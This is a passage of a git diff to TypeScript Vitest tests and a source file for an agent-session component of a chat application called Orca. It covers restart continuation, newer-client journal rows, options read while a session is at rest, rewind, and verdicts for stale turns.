const state = await interruptedRestart() + const { host } = state vi.spyOn(console, 'warn').mockImplementation(() => {}) await host.restartResume.list() - continuationCannotFold() + continuationUnanswered(state) const result = await host.restartResume.continueAfterRestart([SESSION], 'modal') diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-restart-interruption-test-harness.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-restart-interruption-test-harness.ts index 21610afa1e7..a1f2794bd1d 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-restart-interruption-test-harness.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-restart-interruption-test-harness.ts @@ -186,21 +186,29 @@ export function throwAfterContinuationAccepted(): void { }) } -/** Fail folding after continuation commit to model uncertain readback; install immediately before sending. */ +/** Fail the continuation's fold; its row and receipt roll back before any dispatch. */ export function continuationCannotFold(): void { const fold = reducer.applyJournalRow vi.spyOn(reducer, 'applyJournalRow').mockImplementation((state, row) => { - if (row.kind !== 'submission') { - fold(state, row) - return + if (row.kind === 'submission') { + throw new Error('the continuation could not fold') } - // Advance sequence/fence before failure, matching reducer ordering. - state.lastSequence = Math.max(state.lastSequence, row.seq) - state.highestFence = Math.max(state.highestFence, row.fence) - throw new Error('the accepted continuation could not fold') + fold(state, row) }) } +/** The agent admits the continuation but no delivery proof arrives; only its later output can settle it. */ +export function continuationUnanswered(state: { + host: StructuredAgentSessionHost + dispatch: ReturnType['dispatch'] +}): void { + state.dispatch.mockResolvedValueOnce({ state: 'admitted' }) + const wait = state.host.waitForSendSettlement + vi.spyOn(state.host, 'waitForSendSettlement').mockImplementation(async (...args) => + args[2]?.until === 'handed-over' ? wait(...args) : undefined + ) +} + export async function statusNotes(host: StructuredAgentSessionHost) { return notesOf((await host.journalSnapshot(SESSION)).items) } diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-restart-offer-newer-orca.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-restart-offer-newer-orca.test.ts index da5c1436686..eaaad55032b 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-restart-offer-newer-orca.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-restart-offer-newer-orca.test.ts @@ -5,9 +5,7 @@ import { AGENT_SESSION_RECOVERY_CAPSULE_FILE, AgentSessionRecoveryCapsule } from '../../runtime/agent-session-recovery-capsule' -import { AGENT_SESSION_JOURNAL_SCHEMA_VERSION } from '../../../shared/agent-session-journal-types' import { - insertTestJournalRowJson, liveTestJournalRows, openTestJournalHostDatabase, updateTestJournalRowJson @@ -27,26 +25,17 @@ afterEach(() => vi.restoreAllMocks()) function newerOrcaRow(root: string, sessionId: string = SESSION): void { const { db } = openTestJournalHostDatabase(root) - const last = liveTestJournalRows(db, sessionId).at(-1) - const parsed: unknown = last ? JSON.parse(last.rowJson) : null - if (!last || typeof parsed !== 'object' || parsed === null || !('epoch' in parsed)) { - throw new Error('the chat has no journal row to follow') + const first = liveTestJournalRows(db, sessionId)[0] + if (!first) { + throw new Error('the chat has no founding row') } - const { epoch } = parsed - const seq = last.seq + 1 - insertTestJournalRowJson( + const anchor = JSON.parse(first.rowJson) + db.prepare('UPDATE journal_outcome_epochs SET format = 99 WHERE session_id = ?').run(sessionId) + updateTestJournalRowJson( db, sessionId, - seq, - JSON.stringify({ - v: AGENT_SESSION_JOURNAL_SCHEMA_VERSION, - kind: 'future-mark', - epoch, - seq, - fence: 1, - ts: NOW - }), - NOW + 1, + JSON.stringify({ ...anchor, v: 99, outcomeFormat: 99 }) ) } diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-restart-ownership.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-restart-ownership.test.ts index 80ba77eaa0e..f65f41633d4 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-restart-ownership.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-restart-ownership.test.ts @@ -142,8 +142,9 @@ it('replays the same logical continuation through the durable send ledger', asyn expect(dispatch).toHaveBeenCalledTimes(1) }) -it('keeps a continuation unconfirmed when its accepted message cannot be read back', async () => { - const { host, store } = await interruptedRestart() +// The row commits with its fold or not at all, and dispatch reads only committed sends. +it('refuses a continuation whose message cannot be recorded, without handing it to the agent', async () => { + const { host, dispatch } = await interruptedRestart() vi.spyOn(console, 'warn').mockImplementation(() => {}) expect(await host.restartResume.list()).toHaveLength(1) continuationCannotFold() @@ -152,17 +153,10 @@ it('keeps a continuation unconfirmed when its accepted message cannot be read ba .continueAfterRestart([SESSION], 'modal') .finally(() => vi.restoreAllMocks()) - expect(result.continued).toMatchObject([{ sessionId: SESSION, outcome: 'unknown' }]) - expect(result.failed).toMatchObject([{ sessionId: SESSION, outcome: 'unconfirmed' }]) - expect(await statusNotes(host)).toContainEqual({ - text: AGENT_SESSION_RESTART_CONTINUATION_UNCONFIRMED_NOTE, - tone: 'warning' - }) - expect( - store - .listOperationRows() - .find((row) => row.callerKey === STRUCTURED_AGENT_SESSION_RESTART_CONTINUATION_CALLER) - ).toMatchObject({ outcome: { status: 'succeeded' } }) + expect(result.continued).toMatchObject([{ sessionId: SESSION, outcome: 'refused' }]) + expect(result.failed).toMatchObject([{ sessionId: SESSION, outcome: 'refused' }]) + expect((await host.journalSnapshot(SESSION)).submissions).toEqual([]) + expect(dispatch).not.toHaveBeenCalled() }) it('reports a continuation delivered when its send throws after its message is in the chat', async () => { diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-restart-resume-progress.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-restart-resume-progress.test.ts index ef956f17cf8..e5325320826 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-restart-resume-progress.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-restart-resume-progress.test.ts @@ -4,7 +4,7 @@ import type { AgentSessionStatusSummary } from '../../../shared/agent-session-wi import { AgentSessionRecoveryCapsule } from '../../runtime/agent-session-recovery-capsule' import { interruptedRestart, - continuationCannotFold, + continuationUnanswered, startAgent } from './structured-agent-session-restart-interruption-test-harness' import { HOST_TEST_SESSION as SESSION } from './structured-agent-session-host-test-data' @@ -165,7 +165,8 @@ it('publishes skipped for an offer started elsewhere and sends no continuation', it.each(['continued', 'refused', 'unconfirmed'] as const)( 'publishes %s before bookkeeping finishes, then clears progress on return', async (phase) => { - const { host, acquire } = await interruptedRestart() + const state = await interruptedRestart() + const { host, acquire } = state await host.restartResume.list() const summaries: AgentSessionStatusSummary[] = [] const release = host.subscribeStatus({ @@ -180,7 +181,7 @@ it.each(['continued', 'refused', 'unconfirmed'] as const)( acquire.mockRejectedValueOnce(new Error('start refused')) } if (phase === 'unconfirmed') { - continuationCannotFold() + continuationUnanswered(state) } const bookkeeping = Promise.withResolvers() const complete = AgentSessionRecoveryCapsule.prototype.completeResume diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-resting-options.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-resting-options.test.ts new file mode 100644 index 00000000000..595e482fca8 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-resting-options.test.ts @@ -0,0 +1,242 @@ +import { + hostTestCatalogReadOperation, + hostTestRestingOptionsRecord as restingRecord, + hostTestRestingOptionsJournal as restingJournal, + hostTestOptionsReadStore +} from './structured-agent-session-host-test-data' +import { + applyStructuredAgentSessionOptions, + commitStructuredAgentSessionOptionValues, + createStructuredAgentSessionOptionState +} from '../../../shared/structured-agent-session-options' +import { structuredAgentSessionSendSelection } from '../../../shared/structured-agent-session-option-view' + +import { describe, expect, it, vi } from 'vitest' +import { createAgentModelCatalogService } from '../agent-model-catalog/agent-model-catalog-service' +import { + AgentModelCatalogStore, + type AgentModelCatalogSuccess +} from '../agent-model-catalog/agent-model-catalog-store' +import type { StructuredAgentSessionMutationContext } from './structured-agent-session-host-mutations' +import { readStructuredAgentSessionOptions } from './structured-agent-session-options-read' +import { AcpStructuredOptions } from '../../acp/acp-structured-options' +import { GROK_CONFIG_OPTIONS } from '../../acp/acp-structured-adapter.test-support' +import { SessionConfigOptionSchema } from '../../acp/generated/acp-protocol.generated' +import { withLiveCatalogListing } from '../agent-model-catalog/agent-model-catalog-entry' +import { CLAUDE_SESSION_OPTION_CATALOG } from '../../../shared/agent-session-option-catalog-claude-codex' +import { createRestTestRig } from './structured-agent-session-rest-test-rig' +import { agentSessionRecordFixture as durableAgentSessionRecordFixture } from '../../../shared/agent-session-record.test-fixture' +import { seedTestAgentSessionRecordStore } from '../../runtime/agent-session-record-store-test-harness' +import { NO_STRUCTURED_AGENTS } from './structured-agent-session-adapter-router-test-support' + +const SESSION = 'session-1' + +describe('options at rest', () => { + it('keeps an unknown Claude observation out of cold sends while retaining warm aliases', async () => { + const rig = await createRestTestRig() + try { + const fixture = durableAgentSessionRecordFixture() + await seedTestAgentSessionRecordStore(rig.root, { records: [fixture] }) + await rig.restart() + const seed = CLAUDE_SESSION_OPTION_CATALOG + const result = await rig.host.readOptions(fixture.sessionId) + expect(result.current.model).toBeUndefined() + expect(result.models.length).toBeGreaterThan(0) + expect(result.models.every((model) => !model.isDefault)).toBe(true) + expect(result.conversationCommands).toContain('clear') + const cold = createStructuredAgentSessionOptionState('claude', seed) + const observe = (state: typeof cold) => + applyStructuredAgentSessionOptions(state, seed, result) + expect(structuredAgentSessionSendSelection(observe(cold))).toBeUndefined() + const warm = commitStructuredAgentSessionOptionValues( + createStructuredAgentSessionOptionState('claude', seed), + { model: 'opus[1m]', effort: 'max' } + ) + expect(structuredAgentSessionSendSelection(observe(warm))).toEqual({ + model: 'opus[1m]' + }) + expect(warm.record.values.model.value).toBe('opus[1m]') + expect(warm.record.values.effort).toBeUndefined() + expect(rig.store.getRecord(fixture.sessionId)?.options).toBeUndefined() + expect(rig.adapter.acquire).not.toHaveBeenCalled() + expect(seed.models.some((model) => model.isDefault)).toBe(true) + } finally { + await rig.dispose() + } + }) + + it('keeps the account model for an older client when the starting child has no folder default', async () => { + const record = restingRecord() + const read = vi.fn(async (params: { inSessionWorkspace?: true }) => ({ + origin: 'probe' as const, + models: [ + { + id: params.inSessionWorkspace ? 'gpt-folder' : 'gpt-account', + label: 'Model', + isDefault: !params.inSessionWorkspace, + efforts: [] + } + ], + fetchedAt: 1 + })) + const starting = { + child: { phase: 'starting' }, + params: { provider: 'codex' }, + journal: restingJournal() + } + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: this read touches only the declared context fields. + const context = { + deps: { + adapter: {}, + agents: NO_STRUCTURED_AGENTS, + store: hostTestOptionsReadStore(() => record), + modelCatalog: { read, captureRead: hostTestCatalogReadOperation } + }, + serialize: (_sessionId: string, task: () => Promise) => task(), + openConversation: async () => starting, + conversation: async () => starting + } as unknown as StructuredAgentSessionMutationContext + + const current = await readStructuredAgentSessionOptions(context, SESSION, { + readsWithoutModel: true + }) + expect(current.current).toEqual({ + defaulted: [], + permissionMode: 'ask', + acceptedInputSources: {} + }) + expect(read).toHaveBeenCalledTimes(2) + const older = await readStructuredAgentSessionOptions(context, SESSION, { + readsWithoutModel: false + }) + expect(older.current).toEqual({ + acceptedInputSources: { model: 'policy' }, + model: 'gpt-account', + defaulted: [], + permissionMode: 'ask' + }) + expect(read).toHaveBeenCalledWith( + expect.objectContaining({ + agent: 'codex', + sessionId: SESSION, + savedOnly: true, + legacyOptionsDisplay: true, + workspacePath: null + }) + ) + }) + + it('keeps a saved Codex model when the host listing drops it', async () => { + const record = { ...restingRecord(), options: { model: 'gpt-unlisted', effort: 'high' } } + const listed = { id: 'gpt-5.5', label: 'GPT-5.5', isDefault: true, efforts: [] } + let live = false + const conversation = () => ({ + child: live ? { fence: 7 } : null, + params: { provider: 'codex' }, + journal: restingJournal() + }) + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: this read touches only the declared context fields. + const context = { + deps: { + adapter: { + readOptions: async () => ({ + models: [listed, { ...listed, id: 'gpt-unlisted', isDefault: false }], + current: { model: 'gpt-5.5', effort: 'high', defaulted: ['model'] } + }) + }, + agents: NO_STRUCTURED_AGENTS, + store: hostTestOptionsReadStore(() => record), + modelCatalog: { + captureRead: hostTestCatalogReadOperation, + read: async () => ({ origin: 'probe', models: [listed], fetchedAt: 1 }) + } + }, + serialize: (_sessionId: string, task: () => Promise) => task(), + openConversation: async () => conversation(), + conversation: async () => conversation() + } as unknown as StructuredAgentSessionMutationContext + const read = () => + readStructuredAgentSessionOptions(context, SESSION, { readsWithoutModel: true }) + const resting = await read() + live = true + const running = await read() + expect(running.listedModelIds).toEqual(resting.listedModelIds) + expect(resting.listedModelIds).toEqual(['gpt-5.5']) + expect(resting.current).toMatchObject({ model: 'gpt-unlisted', defaulted: [] }) + expect(running.current).toMatchObject({ model: 'gpt-unlisted', defaulted: [] }) + for (const answer of [resting, running]) { + expect(answer.current.acceptedInputSources).toMatchObject({ model: 'saved', effort: 'saved' }) + } + }) + + it.each(['omp', 'grok', 'opencode'] as const)( + '%s keeps an unknown model and learns menus from qualified reports', + async (provider) => { + const record = { ...restingRecord(), provider } + const probe = vi.fn(() => new Promise(() => {})) + const modelCatalog = createAgentModelCatalogService({ + store: new AgentModelCatalogStore(), + ...hostTestOptionsReadStore(() => record), + drivesRecord: () => true, + resolveAccountHome: async () => ({ variable: 'CODEX_HOME', path: '/homes/a' }), + probes: { codex: probe } + }) + let live = false + const reader = new AcpStructuredOptions() + const configOptions = SessionConfigOptionSchema.array().parse(GROK_CONFIG_OPTIONS) + const resting = { + child: null, + params: { provider: 'codex' }, + journal: restingJournal() + } + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: options reads touch only these context members. + const context = { + deps: { + adapter: { readOptions: async () => withLiveCatalogListing(reader.read()) }, + agents: NO_STRUCTURED_AGENTS, + store: hostTestOptionsReadStore(() => record), + modelCatalog + }, + serialize: (_sessionId: string, task: () => Promise) => task(), + openConversation: async () => (live ? { ...resting, child: { fence: 7 } } : resting), + conversation: async () => resting + } as unknown as StructuredAgentSessionMutationContext + + const read = () => + readStructuredAgentSessionOptions(context, SESSION, { readsWithoutModel: true }) + const result = await read() + expect(probe).not.toHaveBeenCalled() + expect(result.models).toEqual([]) + expect(result.current).not.toHaveProperty('model') + record.options = { model: 'later-model', effort: 'off' } + // Unregistered agents must not report a permission mode. + expect((await read()).current).toEqual({ + model: 'later-model', + effort: 'off', + acceptedInputSources: { model: 'saved', effort: 'saved' }, + defaulted: [] + }) + for (const emptyStart of [false, true]) { + modelCatalog.recordLiveListing(SESSION, { + models: [{ id: 'old', label: 'Old', isDefault: true, efforts: [] }] + }) + reader.adoptSession(emptyStart ? {} : { configOptions }) + modelCatalog.recordLiveListing(SESSION, reader.startListing()) + reader.adoptConfigOptions( + configOptions.map((option) => + option.type === 'select' && option.category === 'model' + ? { ...option, currentValue: 'grok-4.6' } + : option + ) + ) + record.options = { model: 'grok-4.6', effort: 'high' } + live = true + await read() + modelCatalog.recordLiveListing(SESSION, { models: reader.read().models }) + live = false + const answer = await read() + expect(answer.models).toEqual(reader.read().models) + } + } + ) +}) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-resting-options.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-resting-options.ts index 6b95124ba9c..5c682bd0924 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-resting-options.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-resting-options.ts @@ -1,3 +1,4 @@ +import type { AgentModelCatalogReadParams } from '../agent-model-catalog/agent-model-catalog-service-contract' import type { AgentSessionModelCatalogResult } from '../../../shared/agent-session-wire' import { decodeStructuredAgentSessionOptionValue } from '../../../shared/structured-agent-session-option-codec' import { finishedListingIds } from '../../../shared/structured-agent-session-options' @@ -21,7 +22,8 @@ export const IN_PROCESS_OPTIONS_READER: StructuredAgentSessionOptionsReader = { export async function readStructuredAgentSessionOptionsAtRest( deps: Pick, sessionId: string, - reader: StructuredAgentSessionOptionsReader + reader: StructuredAgentSessionOptionsReader, + scope: Pick ): Promise { const record = deps.store.getConversation(sessionId) if (!record) { @@ -36,6 +38,7 @@ export async function readStructuredAgentSessionOptionsAtRest( ): Promise => (await deps.modelCatalog ?.read({ + ...scope, agent: record.provider, sessionId, savedOnly: true, @@ -49,6 +52,7 @@ export async function readStructuredAgentSessionOptionsAtRest( .catch(() => null)) ?? { origin: 'unknown' } if (!reader.readsWithoutModel) { await deps.modelCatalog?.read({ + ...scope, agent: record.provider, sessionId, deadline, @@ -57,6 +61,7 @@ export async function readStructuredAgentSessionOptionsAtRest( legacyOptionsDisplay: true }) await deps.modelCatalog?.prepareSaved?.({ + ...scope, agent: record.provider, sessionId, deadline, @@ -76,6 +81,7 @@ export async function readStructuredAgentSessionOptionsAtRest( scoped.origin !== 'unknown' && !reader.readsWithoutModel ? (await deps.modelCatalog?.prepareSaved?.({ + ...scope, agent: record.provider, sessionId, deadline, @@ -86,10 +92,14 @@ export async function readStructuredAgentSessionOptionsAtRest( : scoped // With no catalog for the account, the list a running child of this agent falls back to. const listed = catalog.origin === 'unknown' ? (rules?.fallbackModels() ?? null) : catalog.models - const models = listed ?? [] + const models = + catalog.origin === 'unknown' && saved.model === undefined + ? (listed ?? []).map((row) => ({ ...row, isDefault: false })) + : (listed ?? []) const proof = independentAgentModelCatalog(record.provider) ? await deps.modelCatalog ?.read({ + ...scope, agent: record.provider, sessionId, savedOnly: true, @@ -130,8 +140,8 @@ export async function readStructuredAgentSessionOptionsAtRest( const serviceTier = savedEffectiveServiceTier(saved, models) return { inventory: catalog, - fallback: catalog.origin === 'unknown' ? (listed ?? []) : [], - models: listed ? structuredAgentSessionOptionModels(listed, model, (row) => row) : [], + fallback: catalog.origin === 'unknown' ? models : [], + models: listed ? structuredAgentSessionOptionModels(models, model, (row) => row) : [], ...(catalog.origin !== 'unknown' && catalog.fastModeSupport ? { fastModeSupport: catalog.fastModeSupport } : {}), diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-rewind.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-rewind.test.ts index 1316dd40fbb..383ad1efec8 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-rewind.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-rewind.test.ts @@ -4,10 +4,7 @@ import { expectRetainedPrefixRewindReplay } from './structured-agent-session-rewind-replay.test-fixture' import { expectRawStopNoteRewindRecovery } from './structured-agent-session-rewind-stop-note.test-fixture' -import { - AGENT_JOURNAL_THREAD_SCOPE, - type AgentJournalItemBody -} from '../../../shared/agent-session-journal-types' +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' import { AgentSessionJournal } from '../agent-session-journal/journal-store' import { mkdtemp, rm } from 'node:fs/promises' import { tmpdir } from 'node:os' @@ -624,42 +621,6 @@ describe('host rewind', () => { expect(store.getRecord(HOST_TEST_SESSION)?.rewind?.phase).toBe('completed') }) - it("keeps a newer Orca's item of an unknown kind, in its place, through a Codex provider hydration", async () => { - expect(await host.attach(caller, hostTestAttachParams(null))).toMatchObject({ ok: true }) - const message = (turnId: string) => ({ - provider: 'codex' as const, - threadId: HOST_TEST_THREAD, - turnId, - ordinal: 0 - }) - const newerRow = { provider: 'orca' as const, clientMessageId: 'newer-card' } - const newerBody: AgentJournalItemBody = JSON.parse( - JSON.stringify({ kind: 'plan-card', steps: [{ text: 'by a newer build' }] }) - ) - sink.appendItem(message('kept'), hostTestMessage('kept'), { - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - sink.appendItem(newerRow, newerBody, { turnScope: AGENT_JOURNAL_THREAD_SCOPE }) - sink.appendItem(message('drop'), hostTestMessage('drop'), { - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - await host.flushStreamedEvents(HOST_TEST_SESSION) - - expect( - await host.rewind(caller, await params(agentJournalItemKey(message('drop')))) - ).toMatchObject({ ok: true }) - - expect( - (await host.journalSnapshot(HOST_TEST_SESSION)).items.map(({ itemId, body }) => ({ - itemId, - body - })) - ).toEqual([ - { itemId: agentJournalItemKey(message('kept')), body: hostTestMessage('kept') }, - { itemId: agentJournalItemKey(newerRow), body: newerBody } - ]) - }) - it('keeps each kept turn opened by the message that opened it, under its provider key', async () => { expect(await host.attach(caller, hostTestAttachParams(null))).toMatchObject({ ok: true }) const message = (turnId: string, ordinal = 0) => ({ diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-send-options.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-send-options.test.ts index 66dbf8d7847..e1454b350cb 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-send-options.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-send-options.test.ts @@ -2,6 +2,7 @@ import type { StructuredAgentSessionFirstMessage } from '../../../shared/structu import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' import { computeAgentSessionPayloadFingerprint } from '../../../shared/agent-session-mutation-envelope' +import { SendParams } from '../../../shared/rpc-contract/structured-agent-session-params' import { agentSessionMessagePayload, agentSessionSendBodyFingerprint @@ -271,6 +272,25 @@ describe('a send carrying its model and effort', () => { refusal: { code: 'agent_session_operation_conflict' } }) }) + + // Every client field the host keeps passes through a reader that drops what it does not know, so + // the chat holds only keys storage declares and reopens after a newer client's send. + it("sends a newer client's message with a choice this build does not know, storing it without that choice", async () => { + const body = hostTestMessage('from a newer client') + const fields = { body: agentSessionMessagePayload(body), options: { ...PICKED, later: 'on' } } + const params = { + envelope: rig.envelope(fields, 'agentSession.send', hostTestOperationId()), + ...fields, + body + } + expect(SendParams.safeParse(params).success).toBe(true) + expect(await rig.host.send(CALLER, params)).toMatchObject({ + ok: true, + value: { submission: { options: PICKED } } + }) + await rig.restartHostProcess() + expect((await rig.submission(params.envelope.clientOperationId))?.options).toEqual(PICKED) + }) }) describe('a send kept as a card because Orca stopped before handing it over', () => { diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-stale-turn-verdict.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-stale-turn-verdict.test.ts index f90aee20284..f482e687bad 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-stale-turn-verdict.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-stale-turn-verdict.test.ts @@ -1,731 +1,244 @@ import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' -import { mkdtemp, rm } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { describe, expect, it, vi } from 'vitest' +import { expect, it } from 'vitest' import { agentJournalItemKey } from '../../../shared/agent-session-journal-item-key' -import type { - AgentJournalItemIdentity, - AgentJournalRenderItem, - AgentJournalTurnScope -} from '../../../shared/agent-session-journal-types' -import type { AgentSessionDeathEvidence } from '../../../shared/agent-session-record' -import { readAgentJournalTurn } from '../../../shared/agent-session-turn-record' -import type { AgentSessionJournal } from '../agent-session-journal/journal-store' -import { - createTrackedJournalOpener, - openTestJournalHostDatabase -} from '../agent-session-journal/journal-host-database-test-support' +import type { AgentJournalRenderItem } from '../../../shared/agent-session-journal-types' import { settleStaleStructuredAgentSessionState } from './structured-agent-session-dead-generation-settlement' -import { plannedBatchThrough } from './structured-agent-session-settlement-double.test-fixture' import { runningTurnLifecycleRevisions, turnVerdictFromDeathEvidence, UNVERIFIABLE_TURN_VERDICT } from './structured-agent-session-stale-turn-verdict' -import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' -const THREAD = 'thread-1' -const RUNNING_IDENTITY = { - provider: 'codex' as const, - threadId: THREAD, - turnId: 'turn-2', - ordinal: 0 -} +import { + RUNNING_IDENTITY, + journalWith, + legacyLifecycleItem, + lifecycleItem, + verdictForTurn +} from './structured-agent-session-stale-verdict-contract-test-fixture' -function turnScopeOf(identity: AgentJournalItemIdentity): AgentJournalTurnScope { - return { kind: 'turn', turnItemId: agentJournalItemKey(identity) } -} - -function lifecycleItem( - turnId: string, - state: 'running' | 'completed', - sequence: number, - extra: { startedAt?: number; completedAt?: number } = {} -): AgentJournalRenderItem { - return { - itemId: agentJournalItemKey({ provider: 'codex', threadId: THREAD, turnId, ordinal: 0 }), - revision: 1, - sequence, - observedAt: sequence, - body: { kind: 'turn', turnId, state, ...extra } - } -} - -/** Read legacy status-form lifecycle carriers without writing them back. */ -function legacyLifecycleItem(turnId: string, startedAt: number): AgentJournalRenderItem { - return { - ...lifecycleItem(turnId, 'running', 2), - body: { - kind: 'status', - text: 'Working', - turnLifecycle: { turnId, state: 'running', startedAt } - } - } -} - -function promptItem(state: 'pending' | 'resolved', sequence: number): AgentJournalRenderItem { - return { - itemId: agentJournalItemKey({ - provider: 'legacy', - agent: 'codex', - sessionId: 'session-1', - recordId: `approval-${state}` - }), - revision: 1, - sequence, - observedAt: sequence, - body: { - kind: 'approval', - title: 'Approve?', - detail: null, - options: [], - resolution: { - state, - selectedOptionId: state === 'resolved' ? 'allow' : null, - resolvedBy: state === 'resolved' ? 'client-1' : null, - resolvedAt: state === 'resolved' ? 10 : null - } - } - } -} - -describe('turn verdict from death evidence', () => { - const verdictForTurn = (evidence: AgentSessionDeathEvidence | null | undefined) => - turnVerdictFromDeathEvidence(evidence && { ownerFence: 1, ...evidence }, 1) - - it('ends a watched exit at the exit', () => { - expect(verdictForTurn({ kind: 'exit-observed', detail: 'exit', observedAt: 500 })).toEqual({ - state: 'interrupted', - completedAt: 500 - }) - }) - - it.each(['pid-absent', 'identity-mismatch'] as const)( - 'ends a %s proof at the last proof of life, never after the probe', - (kind) => { - const proof = (lastProvenAliveAt?: number) => ({ - kind, - detail: 'gone', - observedAt: 9_000, - ...(lastProvenAliveAt === undefined ? {} : { lastProvenAliveAt }) - }) - // Last proof of life bounds completion so downtime is never counted as work. - expect(verdictForTurn(proof(8_000))).toEqual({ state: 'interrupted', completedAt: 8_000 }) - expect(verdictForTurn(proof(9_500))).toEqual({ state: 'interrupted', completedAt: 9_000 }) - expect(verdictForTurn(proof())).toEqual({ state: 'interrupted', completedAt: 9_000 }) - } - ) - - it('ends a watched exit at the exit even when a renewal is recorded', () => { - expect( - verdictForTurn({ - kind: 'exit-observed', - detail: 'exit', - observedAt: 500, - lastProvenAliveAt: 400 - }) - ).toEqual({ state: 'interrupted', completedAt: 500 }) - }) - - it.each([0, -1, Number.NaN, Number.POSITIVE_INFINITY])( - 'keeps proven exit without an invalid time %s', - (observedAt) => { - expect(verdictForTurn({ kind: 'exit-observed', detail: '', observedAt })).toEqual({ - state: 'interrupted' - }) - } - ) - - it('leaves a release nothing proved unverifiable', () => { - expect(verdictForTurn(null)).toEqual({ state: 'unverifiable' }) - expect(verdictForTurn(undefined)).toEqual({ state: 'unverifiable' }) - }) - it('keeps the rule an older build applied to evidence that names no owner', () => { - // Legacy ownerless evidence proves only observed exit, never probe results. - const legacy = { detail: 'gone', observedAt: 9_000, lastProvenAliveAt: 8_000 } - expect(turnVerdictFromDeathEvidence({ ...legacy, kind: 'exit-observed' }, 1)).toEqual({ - state: 'interrupted', - completedAt: 9_000 - }) - expect(turnVerdictFromDeathEvidence({ ...legacy, kind: 'pid-absent' }, 1)).toEqual({ - state: 'unverifiable' - }) - }) - - it('gives a turn no end from evidence about any other owner', () => { - const proof = { - kind: 'pid-absent' as const, - detail: 'gone', - observedAt: 9_000, - lastProvenAliveAt: 8_000 - } - // Another owner’s death or unknown turn provenance cannot prove this owner ended. - for (const [evidence, turnFence] of [ - [{ ...proof, ownerFence: 3 }, 1], - [{ ...proof, kind: 'exit-observed' as const, ownerFence: 3 }, 1], - [{ ...proof, ownerFence: 1 }, undefined] - ] as const) { - expect(turnVerdictFromDeathEvidence(evidence, turnFence)).toEqual({ state: 'unverifiable' }) - } +it('ends a watched exit at the exit', () => { + expect(verdictForTurn({ kind: 'exit-observed', detail: 'exit', observedAt: 500 })).toEqual({ + state: 'interrupted', + completedAt: 500 }) }) -describe('running turn lifecycle revisions', () => { - it('revises only running rows in place and carries an end time only for an observed exit', () => { - const items = [ - lifecycleItem('turn-1', 'completed', 1, { startedAt: 10, completedAt: 20 }), - lifecycleItem('turn-2', 'running', 2, { startedAt: 30, completedAt: 99 }) - ] - expect(runningTurnLifecycleRevisions(items, { state: 'interrupted', completedAt: 40 })).toEqual( - [ - { - kind: 'item', - itemId: agentJournalItemKey(RUNNING_IDENTITY), - body: { - kind: 'turn', - turnId: 'turn-2', - state: 'interrupted', - startedAt: 30, - completedAt: 40 - }, - turnScope: { kind: 'thread' } - } - ] - ) - expect(runningTurnLifecycleRevisions(items, { state: 'unverifiable' })).toEqual([ - expect.objectContaining({ - body: { kind: 'turn', turnId: 'turn-2', state: 'unverifiable', startedAt: 30 } - }) - ]) - }) - - it('keeps known turn fields and extensions in the rewrite', () => { - const contextUsage = { - used: { - kind: 'estimate' as const, - usage: { - inputTokens: 1, - cacheCreationInputTokens: 0, - cacheReadInputTokens: 90_000, - outputTokens: 5 - }, - capturedAt: 35 - } - } - const running = lifecycleItem('turn-2', 'running', 2, { startedAt: 30 }) - const body = { - ...running.body, - requestedAt: 29, - userItemId: 'user-2', - contextUsage, - laterField: { kept: true }, - outcome: 'success' as const, - durationMs: 7 - } - const items: AgentJournalRenderItem[] = [{ ...running, body }] - const kept = { - kind: 'turn', - turnId: 'turn-2', - startedAt: 30, - requestedAt: 29, - userItemId: 'user-2', - contextUsage, - laterField: { kept: true } - } - expect( - runningTurnLifecycleRevisions(items, { state: 'interrupted', completedAt: 40 })[0] - ).toMatchObject({ body: { ...kept, state: 'interrupted', completedAt: 40 } }) - expect(items[0]?.body).toHaveProperty('laterField') - const unverifiable = runningTurnLifecycleRevisions(items, UNVERIFIABLE_TURN_VERDICT)[0] - expect(unverifiable?.kind 